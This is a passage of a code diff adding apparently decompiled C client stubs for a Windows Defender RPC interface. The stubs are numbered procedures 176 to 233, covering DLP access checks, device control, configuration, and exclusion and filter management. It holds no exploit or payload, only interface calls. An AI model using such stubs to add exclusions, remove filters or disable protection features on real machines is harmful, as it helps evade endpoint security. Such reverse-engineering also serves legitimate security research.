[out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 176, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc177_ServerMpRpcGetTSModeInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_3800_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 177, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc178_ServerMpCheckAccessForPrintOperation2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [unique][out][in] */ long *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 178, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8, + arg_9); + return ( long )_RetVal.Simple; + +} + + +long Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [unique][in] */ struct Struct_3824_t *arg_3, + /* [unique][in] */ struct Struct_3824_t *arg_4, + /* [in] */ long arg_5, + /* [out] */ long *arg_6, + /* [out] */ long *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 179, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8, + arg_9); + return ( long )_RetVal.Simple; + +} + + +long Proc180_ServerMpRpcCheckAccessForDragDropOperation2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ hyper arg_5, + /* [in] */ long arg_6, + /* [size_is][unique][in] */ unsigned char *arg_7, + /* [unique][in] */ struct Struct_3824_t *arg_8, + /* [unique][in] */ struct Struct_3824_t *arg_9, + /* [out] */ long *arg_10, + /* [out] */ error_status_t *arg_11) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 180, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8, + arg_9, + arg_10, + arg_11); + return ( long )_RetVal.Simple; + +} + + +long Proc181_ServerMpRpcDlpInitializeEnforcementMode( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_126_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 181, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc182_ServerMpRpcDlpGetOperationEnforcmentMode( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 182, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 183, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_126_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 184, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc185_ServerMpRpcDlpNotifyCloseDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [unique][in] */ struct Struct_3824_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 185, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 186, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [unique][in] */ struct Struct_126_t *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 187, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc188_ServerMpRpcDlpNotifyPrePrint( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_3880_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 188, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc189_ServerMpRpcDlpNotifyPostStartPrint( + /* [in] */ handle_t IDL_handle, + /* [unique][in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_3880_t *arg_2, + /* [unique][in] */ struct Struct_126_t *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 189, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc190_ServerMpGetTDTFeatureStatus( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 190, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc191_ServerMpRpcGetDeviceControlSecurityPolicies( + /* [in] */ handle_t IDL_handle, + /* [string][ref][out] */ wchar_t **arg_1, + /* [string][ref][out] */ wchar_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 191, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc192_ServerMpRpcGetSACInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_3958_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 192, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc193_ServerMpGetTDTFeatureStatusEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4158_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 193, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc194_ServerMpRpcGetDeviceControlStatus( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_4178_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 194, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_4194_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 195, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc196_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 196, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc197_ServerMpRpcDefenderPrintAccessCheck( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ long *arg_3, + /* [out] */ hyper *arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 197, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc198_ServerMpRpcDeviceControlPrintAccessCheck( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ long *arg_3, + /* [out] */ hyper *arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 198, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc199_ServerMpRpcDefenderPrintDataProvide( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 199, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 200, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc201_ServerMpRpcApplyTrustLabelAceForMDE( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 201, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc202_ServerMpGetNpSupportFile( + /* [in] */ handle_t IDL_handle, + /* [string][ref][out] */ wchar_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 202, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc203_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 203, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc204_ServerMpRpcConfigRefresh( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 204, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc205_ServerMpServiceLogMessage( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 205, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][ref][out] */ wchar_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 206, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc207_ServerMpRpcDlpGetEvidenceFileUrl( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [string][ref][out] */ wchar_t **arg_6, + /* [string][ref][out] */ wchar_t **arg_7, + /* [out] */ error_status_t *arg_8) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 207, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8); + return ( long )_RetVal.Simple; + +} + + +long Proc208_ServerMpRpcDlpCheckAccessForBuffer( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][in] */ unsigned char *arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ long *arg_5, + /* [size_is][size_is][ref][out] */ unsigned char **arg_6, + /* [string][ref][out] */ wchar_t **arg_7, + /* [string][ref][out] */ wchar_t **arg_8, + /* [out] */ error_status_t *arg_9) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 208, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8, + arg_9); + return ( long )_RetVal.Simple; + +} + + +long Proc209_ServerMpRpcDevVolumesProtectionState( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 209, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc210_ServerMpRpcQueryDevVolumeProtectionState( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 210, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc211_ServerMpRpcDlpDispatchAccessEvent( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_4208_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 211, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc212_ServerMpRpcCheckAccessForCopyFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ hyper arg_4, + /* [string][in] */ wchar_t *arg_5, + /* [string][in] */ wchar_t *arg_6, + /* [string][in] */ wchar_t *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 212, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8, + arg_9); + return ( long )_RetVal.Simple; + +} + + +long Proc213_ServerMpRpcAsrSetHipsUserExclusionEx( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 213, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc214_ServerMpRpcGetUpToDateInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4314_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 214, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc215_ServerMpRpcSendDlpEventDataToEngine( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_4334_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 215, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc216_ServerMpRpcAccessibilityAsyncEvent( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ hyper arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 216, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc217_ServerMpRpcCacheManagerIsTrusted( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 217, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc218_ServerMpRpcSCCGetState( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4530_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 218, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc219_ServerMpRpcSCCReset( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 219, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc220_ServerMpRpcImportConfigPayload( + /* [in] */ handle_t IDL_handle, + /* [size_is][in] */ unsigned char *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [ref][out] */ struct Struct_4650_t **arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 220, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc221_ServerMpRpcGetConfigPayloadStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_4650_t **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 221, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc222_ServerMpRpcGetConfigValue( + /* [in] */ handle_t IDL_handle, + /* [in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [ref][out] */ struct Struct_4734_t **arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 222, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc223_ServerMpRpcEffectiveConfigurationReport( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ long *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 223, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc224_ServerMpRpcGetDefenderStatusSummary( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 224, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc225_ServerMpRpcGetHIPSCustomRuleInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_3108_t ***arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 225, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc226_ServerMpRpcGetTrustAnchors( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_4886_t **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 226, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc227_ServerMpRpcDlpTriggerToast( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 227, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc228_ServerMpRpcGetRnBWFPFilters( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_4918_t ***arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 228, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc229_ServerMpRpcRemoveRnBWFPFilter( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 229, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc230_ServerMpRpcSenseTriggerToast( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 230, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc231_ServerMpRpcWddControl( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [in] */ long arg_3, + /* [size_is][size_is][ref][out] */ unsigned char **arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 231, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc232_ServerMpRpcTemporaryExclusionAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 232, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc233_ServerMpOnDemandCancelScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( 